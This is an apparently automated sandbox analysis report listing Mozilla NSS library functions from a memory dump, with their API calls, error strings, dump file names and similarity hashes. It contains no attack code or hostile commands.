Opcode Fuzzy Hash: 14ceb89715c8cf17f0ca76fa9b087f2e4f44ae28a8b4b8e4949e277b2bfa2034
Instruction Fuzzy Hash: E001A1B6A006509FDF054F1AFC00C467A31BB1726C7154375E82647BE2F722DD38CA81

Function 6CB6AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB6AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6CB6AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB6AFC4
misuse, xrefs: 6CB6AFCE
%s at line %d of [%.10s], xrefs: 6CB6AFD3

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: c7e13bc423ebc512f8e518a359d4110c8dacab274367f56d8e621ae52e626cbf
Instruction ID: 3b1ecd056848d6cb62cb957319bbc370159aded32493a64bd5b66f8d2ad6b6c0
Opcode Fuzzy Hash: c7e13bc423ebc512f8e518a359d4110c8dacab274367f56d8e621ae52e626cbf
Instruction Fuzzy Hash: 1F91C175A012A58FDF04CF5AC850AAABBF1FF49314F1944A8E865ABB91D334ED01CF61

Function 6CBCFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CBCFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBCFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CBCFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CBCFDDE

Part of subcall function 6CBD8800: TlsGetValue.KERNEL32(?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD8821
Part of subcall function 6CBD8800: TlsGetValue.KERNEL32(?,?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD883D
Part of subcall function 6CBD8800: EnterCriticalSection.KERNEL32(?,?,?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD8856
Part of subcall function 6CBD8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CBD8887
Part of subcall function 6CBD8800: PR_Unlock.NSS3(?,?,?,?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD8899

Strings

pkcs11:, xrefs: 6CBCFC4F

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: e35961c97569e176f0c038067e76db06429977f06c4a69716722179911a2d7c9
Instruction ID: 9e12df2823b25e48f1a1a3ae1b978a7c16cfd3e357db6fe75db7246425c10b6c
Opcode Fuzzy Hash: e35961c97569e176f0c038067e76db06429977f06c4a69716722179911a2d7c9
Instruction Fuzzy Hash: BD51D1B1B002E29BEB018F68DC40B9E3775EF45359F2500A5DD04ABB51EB32E944CBA3

Function 6CB0B8B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B2E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CC3A4E2), ref: 6CB0B948
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B19,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?), ref: 6CB0B9BE

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0B932, 6CB0B9A8
%s at line %d of [%.10s], xrefs: 6CB0B941, 6CB0B9B7
database corruption, xrefs: 6CB0B93C, 6CB0B9B2

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 376f0ba340a34b14865814f94a8d156fb00ebe1b63fe4f97070a1f91905a33a2
Instruction ID: 51927e990b95af80125b9a22f0494d01ccbad1b567ba2a0867314368739aebdb
Opcode Fuzzy Hash: 376f0ba340a34b14865814f94a8d156fb00ebe1b63fe4f97070a1f91905a33a2
Instruction Fuzzy Hash: BE41E131B046849FD704DF69C890FAABBA2EF45308F1584ADE9499F752E731EC81CB91

Function 6CB0BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CB0BE02

Part of subcall function 6CC39C40: memcmp.VCRUNTIME140(?,00000000,6CB0C52B), ref: 6CC39D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB0BE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0BE89
%s at line %d of [%.10s], xrefs: 6CB0BE98
database corruption, xrefs: 6CB0BE93

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 2c071b44284e6bcd4c6038175a0edbbfe52a1dff56a0893fea078ffacf76361c
Instruction ID: a6d7c8c515fcbc6f45620dda54d6f58ad6973ed252c9e5c27ac5095f3ff178db
Opcode Fuzzy Hash: 2c071b44284e6bcd4c6038175a0edbbfe52a1dff56a0893fea078ffacf76361c
Instruction Fuzzy Hash: CE314631B446E58BC700CF69C8D4AABBFB2AF45314B088958EE582BB41E770EC05C7D1

Function 6CB70DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CB70BDE), ref: 6CB70DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CB70BDE), ref: 6CB70DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CB70BDE), ref: 6CB70DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CB70BDE), ref: 6CB70E32

Strings

%s incr => %d (find lib), xrefs: 6CB70E2D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: d677f599bd61c3083cbf2b571e7b91906ed7c4daeed16d7f6fb4e0c40642227b
Instruction ID: cc668c74e86e22b6fd466ffb4a13fb55adf01748128a11d715ce8acd8e7a0231
Opcode Fuzzy Hash: d677f599bd61c3083cbf2b571e7b91906ed7c4daeed16d7f6fb4e0c40642227b
Instruction Fuzzy Hash: E901B172B006549FE6209F24AC45E1773BCDB46A09B19486EED19D3A41F662FC14C7E1

Function 6CB19C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB19CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CB19D45
EnterCriticalSection.KERNEL32(?), ref: 6CB19D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CB19DDE

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e0c932693a12e8d974db6680a60becd62fad7feb894bfeb564a40334812c208a
Instruction ID: 21858bdec57870d7c7ae9d620dc0f591c91189eaf3fa00b2a571cb017c37cd38
Opcode Fuzzy Hash: e0c932693a12e8d974db6680a60becd62fad7feb894bfeb564a40334812c208a
Instruction Fuzzy Hash: A3A17A31B081809BEB08EF64E88976E7776EB8B715F18012DD40687E41DB39B946DB93

Function 6CBA1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CBA1ECC

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

TlsGetValue.KERNEL32 ref: 6CBA1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CBA1EEF
PR_ExitMonitor.NSS3(?), ref: 6CBA1F37
PR_Unlock.NSS3(?), ref: 6CBA1F44

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 1ea48bd815f1fdf09940cfbed14e65161356d042da2521b0d6b4a3974ece812c
Instruction ID: 75f70437761f465440438b9927b89379127595a306a3863f6668cc362f182406
Opcode Fuzzy Hash: 1ea48bd815f1fdf09940cfbed14e65161356d042da2521b0d6b4a3974ece812c
Instruction Fuzzy Hash: 3371CE71908381DFDB00CF65D840A4AB7F5FF89358F184929E89993B10E732F95ACB92

Function 6CC2DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC2DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CC2DE77

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 3f1dd218e80298b4e7e0e06ffe2a273b693e3dd16b99af5045af3f7b1101be73
Instruction ID: 589b4fac9c2563a5b3187d73aa578bca01c91e024bc4691e8dd27fe96271a0ba
Opcode Fuzzy Hash: 3f1dd218e80298b4e7e0e06ffe2a273b693e3dd16b99af5045af3f7b1101be73
Instruction Fuzzy Hash: 49719771A00314CFDB20CF9AC5C0689B7B4FFA9718F25816DD959AB702EB74A942CF90

Function 6CB9DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(D958E852,6CBA1397,5B5F5EC0,?,?,6CB9B1EE,2404110F,?,?), ref: 6CB9AB3C
Part of subcall function 6CB9AB10: free.MOZGLUE(D958E836,?,6CB9B1EE,2404110F,?,?), ref: 6CB9AB49
Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(5D5E6CD9), ref: 6CB9AB5C
Part of subcall function 6CB9AB10: free.MOZGLUE(5D5E6CCD), ref: 6CB9AB63
Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CB9AB6F
Part of subcall function 6CB9AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CB9AB76

TlsGetValue.KERNEL32(?,?,6CB9B266,6CBA15C6,?,?,6CBA15C6), ref: 6CB9DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CB9B266,6CBA15C6,?,?,6CBA15C6), ref: 6CB9DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CB9B266,6CBA15C6,?,?,6CBA15C6), ref: 6CB9E029
PK11_IsLoggedIn.NSS3 ref: 6CB9E046

Part of subcall function 6CBA8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FAF
Part of subcall function 6CBA8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FD1
Part of subcall function 6CBA8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FFA
Part of subcall function 6CBA8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CBA9013
Part of subcall function 6CBA8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA9042
Part of subcall function 6CBA8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA905A
Part of subcall function 6CBA8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CBA9073
Part of subcall function 6CBA8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA9111

PR_Unlock.NSS3(?,?,?,?,6CB9B266,6CBA15C6,?,?,6CBA15C6), ref: 6CB9E149

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: b4e4c82e9a4a1668019901def0dc4ab6b7f99af42ae6411131b17ffde324b3b8
Instruction ID: 795ac81d78f787ae5cea3d8397ce7a04105da2f23c0733d57003c46277ee4470
Opcode Fuzzy Hash: b4e4c82e9a4a1668019901def0dc4ab6b7f99af42ae6411131b17ffde324b3b8
Instruction Fuzzy Hash: F3514470604691CFDB109F29C48476EBBF5FF46309F19896CD8998BB41E731E884CB92

Function 6CBABE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CBABF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBABF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CB89F71,?,?,00000000), ref: 6CBABF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBABFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBAC014

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 982672e1a9ccbf40dde10925bad6eeb52272e33d63613c845f0618d375719b28
Instruction ID: 76737facc1c3171ed6bc5153fca072e8d6946a7e3c06e9fd6412f98eda31af05
Opcode Fuzzy Hash: 982672e1a9ccbf40dde10925bad6eeb52272e33d63613c845f0618d375719b28
Instruction Fuzzy Hash: 2541C971A052459BEF00CEA5CC50BEE77B9EF49208F154138D865D7B41FB32E946CB92

Function 6CB7EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB7EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CB7EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CB7EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB7EEEB
free.MOZGLUE(?), ref: 6CB7EEF6

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 74eca9318350ec85ead63104e20c55f3ed0ef06937cf68177922e54ade590f61
Instruction ID: 4877d5e4bab9c4d5c6c978c5bbc029a321b86bc62f0033e96d3b465d56de3838
Opcode Fuzzy Hash: 74eca9318350ec85ead63104e20c55f3ed0ef06937cf68177922e54ade590f61
Instruction Fuzzy Hash: C831D4716002C19FEB709F28CC45BAA7BB4FF4A315F140929EC6A87A50DB31E455C7E2

Function 6CB91F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB91F1C

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CCA9EBC), ref: 6CB91FB8
SEC_ASN1EncodeItem_Util.NSS3(6CCA9E9C,?,?,6CCA9E9C), ref: 6CB9200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CB92020

Part of subcall function 6CB86A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CB8AD50,?,?), ref: 6CB86A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB92030

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 939fca6f9ac01be73e3b3841aac0da83b8865d692767b0023fffe076dc1e183f
Instruction ID: 3867b86c7e832596194a0f6ca36865e4db9f9f3e6f15dc5736e59fe1c1ed83d4
Opcode Fuzzy Hash: 939fca6f9ac01be73e3b3841aac0da83b8865d692767b0023fffe076dc1e183f
Instruction Fuzzy Hash: D021F276901586ABEB015A15DC41FAA776CFF4731CF284234E82996F81F732E528C7A3

Function 6CBC1EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CBA6295,?,00000000,00000000,00000001,6CBC2653,?), ref: 6CBC1ECB

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CBA6295,?,00000000,00000000,00000001,6CBC2653,?), ref: 6CBC1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CBC1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CBC1F39

Part of subcall function 6CBCFE20: TlsGetValue.KERNEL32(6CBA5ADC,?,00000000,00000001,?,?,00000000,?,6CB9BA55,?,?), ref: 6CBCFE4B
Part of subcall function 6CBCFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBCFE5F

PR_Unlock.NSS3(?), ref: 6CBC1F67

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

